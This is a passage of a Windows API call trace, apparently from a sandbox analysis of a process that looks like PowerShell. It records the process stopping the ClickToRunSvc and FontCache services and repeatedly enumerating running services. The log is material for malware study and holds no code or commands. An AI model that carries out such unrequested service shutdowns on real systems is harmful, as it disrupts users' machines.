| out: lpSrc=0x1b5, lpCs=0x893ddc4) returned 0 [0129.468] GetConsoleOutputCP () returned 0x1b5 [0129.496] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x893ddc4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x893ddc4) returned 0 [0129.496] GetConsoleOutputCP () returned 0x1b5 [0129.515] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x893ddc4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x893ddc4) returned 0 [0129.515] GetConsoleOutputCP () returned 0x1b5 [0129.524] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x893ddc4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x893ddc4) returned 0 [0129.524] GetConsoleOutputCP () returned 0x1b5 [0129.535] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x893ddc4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x893ddc4) returned 0 [0129.535] GetConsoleOutputCP () returned 0x1b5 [0129.551] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x893ddc4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x893ddc4) returned 0 [0129.551] GetConsoleOutputCP () returned 0x1b5 [0129.575] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x893ddc4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x893ddc4) returned 0 [0129.576] GetConsoleOutputCP () returned 0x1b5 [0129.590] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x893ddc4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x893ddc4) returned 0 [0129.591] GetConsoleOutputCP () returned 0x1b5 [0129.603] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x893ddc4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x893ddc4) returned 0 [0129.603] GetConsoleOutputCP () returned 0x1b5 [0129.621] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x893ddc4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x893ddc4) returned 0 [0129.628] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x714, lpConsoleScreenBufferInfo=0x893df44 | out: lpConsoleScreenBufferInfo=0x893df44) returned 1 [0129.643] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x714, lpConsoleScreenBufferInfo=0x893df44 | out: lpConsoleScreenBufferInfo=0x893df44) returned 1 [0129.701] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x714, lpConsoleScreenBufferInfo=0x893df4c | out: lpConsoleScreenBufferInfo=0x893df4c) returned 1 [0129.713] SetConsoleTextAttribute (hConsoleOutput=0x714, wAttributes=0xbe) returned 1 [0129.729] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x714, lpConsoleScreenBufferInfo=0x893df4c | out: lpConsoleScreenBufferInfo=0x893df4c) returned 1 [0129.744] SetConsoleTextAttribute (hConsoleOutput=0x714, wAttributes=0xe) returned 1 [0129.760] GetConsoleMode (in: hConsoleHandle=0x714, lpMode=0x893df68 | out: lpMode=0x893df68) returned 1 [0129.773] WriteConsoleW (in: hConsoleOutput=0x714, lpBuffer=0x5ad7c34*, nNumberOfCharsToWrite=0x73, lpNumberOfCharsWritten=0x893df5c, lpReserved=0x0 | out: lpBuffer=0x5ad7c34*, lpNumberOfCharsWritten=0x893df5c*=0x73) returned 1 [0129.791] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x714, lpConsoleScreenBufferInfo=0x893df48 | out: lpConsoleScreenBufferInfo=0x893df48) returned 1 [0129.811] SetConsoleTextAttribute (hConsoleOutput=0x714, wAttributes=0x8) returned 1 [0129.826] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x714, lpConsoleScreenBufferInfo=0x893df48 | out: lpConsoleScreenBufferInfo=0x893df48) returned 1 [0129.832] SetConsoleTextAttribute (hConsoleOutput=0x714, wAttributes=0xb8) returned 1 [0129.856] GetConsoleMode (in: hConsoleHandle=0x714, lpMode=0x893dfa8 | out: lpMode=0x893dfa8) returned 1 [0129.942] WriteConsoleW (in: hConsoleOutput=0x714, lpBuffer=0x544bb84*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x893df9c, lpReserved=0x0 | out: lpBuffer=0x544bb84*, lpNumberOfCharsWritten=0x893df9c*=0x1) returned 1 [0129.954] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x321d460 [0129.955] OpenServiceW (hSCManager=0x321d460, lpServiceName="ClickToRunSvc", dwDesiredAccess=0x8) returned 0x321d4d8 [0129.958] EnumDependentServicesW (in: hService=0x321d4d8, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e048, lpServicesReturned=0x893e044 | out: lpServices=0x0, pcbBytesNeeded=0x893e048, lpServicesReturned=0x893e044) returned 1 [0129.962] CloseServiceHandle (hSCObject=0x321d4d8) returned 1 [0129.966] OpenServiceW (hSCManager=0x321d460, lpServiceName="ClickToRunSvc", dwDesiredAccess=0x20) returned 0x321d690 [0129.967] ControlService (in: hService=0x321d690, dwControl=0x1, lpServiceStatus=0x893e030 | out: lpServiceStatus=0x893e030*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x85, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x1, dwWaitHint=0x0)) returned 1 [0130.028] CloseServiceHandle (hSCObject=0x321d690) returned 1 [0130.030] OpenServiceW (hSCManager=0x321d460, lpServiceName="ClickToRunSvc", dwDesiredAccess=0x4) returned 0x321d5c8 [0130.031] QueryServiceStatus (in: hService=0x321d5c8, lpServiceStatus=0x893dfc0 | out: lpServiceStatus=0x893dfc0*(dwServiceType=0x10, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0130.031] CloseServiceHandle (hSCObject=0x321d5c8) returned 1 [0130.032] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x893e444*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x893e444*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xa, [1]=0x93, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0130.035] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x893e1fc, nSize=0xc3 | out: lpBuffer="") returned 0x0 [0130.035] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x893e568*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x893e568*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x38, [1]=0x93, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0130.035] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x893e4d4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x893e4d4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xa, [1]=0x93, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0130.035] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x893e558*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x38, [1]=0x93, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x893e558*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x38, [1]=0x93, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0130.035] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d4d8 [0130.035] EnumServicesStatusW (in: hSCManager=0x321d4d8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0130.038] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a308f8 [0130.038] EnumServicesStatusW (in: hSCManager=0x321d4d8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a308f8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a308f8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0130.058] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d780 [0130.062] EnumServicesStatusW (in: hSCManager=0x321d780, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0130.062] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a308f8 [0130.062] EnumServicesStatusW (in: hSCManager=0x321d780, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a308f8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a308f8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0130.081] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d4d8 [0130.081] EnumServicesStatusW (in: hSCManager=0x321d4d8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0130.081] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a308f8 [0130.081] EnumServicesStatusW (in: hSCManager=0x321d4d8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a308f8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a308f8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0130.085] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6b8 [0130.086] EnumServicesStatusW (in: hSCManager=0x321d6b8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0130.086] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a308f8 [0130.086] EnumServicesStatusW (in: hSCManager=0x321d6b8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a308f8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a308f8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0130.088] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d690 [0130.089] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0130.089] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a308f8 [0130.089] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a308f8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a308f8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0130.092] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d690 [0130.092] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0130.092] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a308f8 [0130.092] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a308f8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a308f8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0130.095] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d690 [0130.095] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0130.096] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a308f8 [0130.096] EnumServicesStatusW (in: hSCManager=0x321d690, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a308f8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a308f8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0130.099] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d5c8 [0130.100] EnumServicesStatusW (in: hSCManager=0x321d5c8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0130.100] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a308f8 [0130.100] EnumServicesStatusW (in: hSCManager=0x321d5c8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a308f8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a308f8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0130.103] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d5c8 [0130.103] EnumServicesStatusW (in: hSCManager=0x321d5c8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0130.103] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a308f8 [0130.103] EnumServicesStatusW (in: hSCManager=0x321d5c8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a308f8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a308f8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0130.106] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d4d8 [0130.106] EnumServicesStatusW (in: hSCManager=0x321d4d8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0130.106] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a308f8 [0130.106] EnumServicesStatusW (in: hSCManager=0x321d4d8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a308f8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a308f8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0130.109] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d5c8 [0130.109] EnumServicesStatusW (in: hSCManager=0x321d5c8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0130.110] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a308f8 [0130.110] EnumServicesStatusW (in: hSCManager=0x321d5c8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a308f8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a308f8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0130.112] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6b8 [0130.113] EnumServicesStatusW (in: hSCManager=0x321d6b8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0130.113] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a308f8 [0130.113] EnumServicesStatusW (in: hSCManager=0x321d6b8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a308f8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a308f8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0130.122] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d820 [0130.123] EnumServicesStatusW (in: hSCManager=0x321d820, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0130.123] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a308f8 [0130.123] EnumServicesStatusW (in: hSCManager=0x321d820, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a308f8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a308f8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0130.126] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d5f0 [0130.126] EnumServicesStatusW (in: hSCManager=0x321d5f0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0130.127] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a308f8 [0130.127] EnumServicesStatusW (in: hSCManager=0x321d5f0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a308f8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a308f8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0130.141] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x321d5c8 [0130.142] OpenServiceW (hSCManager=0x321d5c8, lpServiceName="FontCache", dwDesiredAccess=0x8) returned 0x321d4d8 [0130.142] EnumDependentServicesW (in: hService=0x321d4d8, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e0fc, lpServicesReturned=0x893e0f8 | out: lpServices=0x0, pcbBytesNeeded=0x893e0fc, lpServicesReturned=0x893e0f8) returned 1 [0130.142] CloseServiceHandle (hSCObject=0x321d4d8) returned 1 [0130.142] OpenServiceW (hSCManager=0x321d5c8, lpServiceName="FontCache", dwDesiredAccess=0x20) returned 0x321d690 [0130.143] ControlService (in: hService=0x321d690, dwControl=0x1, lpServiceStatus=0x893e0e4 | out: lpServiceStatus=0x893e0e4*(dwServiceType=0x20, dwCurrentState=0x3, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0130.156] CloseServiceHandle (hSCObject=0x321d690) returned 1 [0130.156] OpenServiceW (hSCManager=0x321d5c8, lpServiceName="FontCache", dwDesiredAccess=0x4) returned 0x321d7f8 [0130.157] QueryServiceStatus (in: hService=0x321d7f8, lpServiceStatus=0x893e074 | out: lpServiceStatus=0x893e074*(dwServiceType=0x20, dwCurrentState=0x3, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0130.157] CloseServiceHandle (hSCObject=0x321d7f8) returned 1 [0130.157] SleepEx (dwMilliseconds=0xfa, bAlertable=1) returned 0x0 [0130.425] OpenServiceW (hSCManager=0x321d5c8, lpServiceName="FontCache", dwDesiredAccess=0x4) returned 0x321d4d8 [0130.425] QueryServiceStatus (in: hService=0x321d4d8, lpServiceStatus=0x893e074 | out: 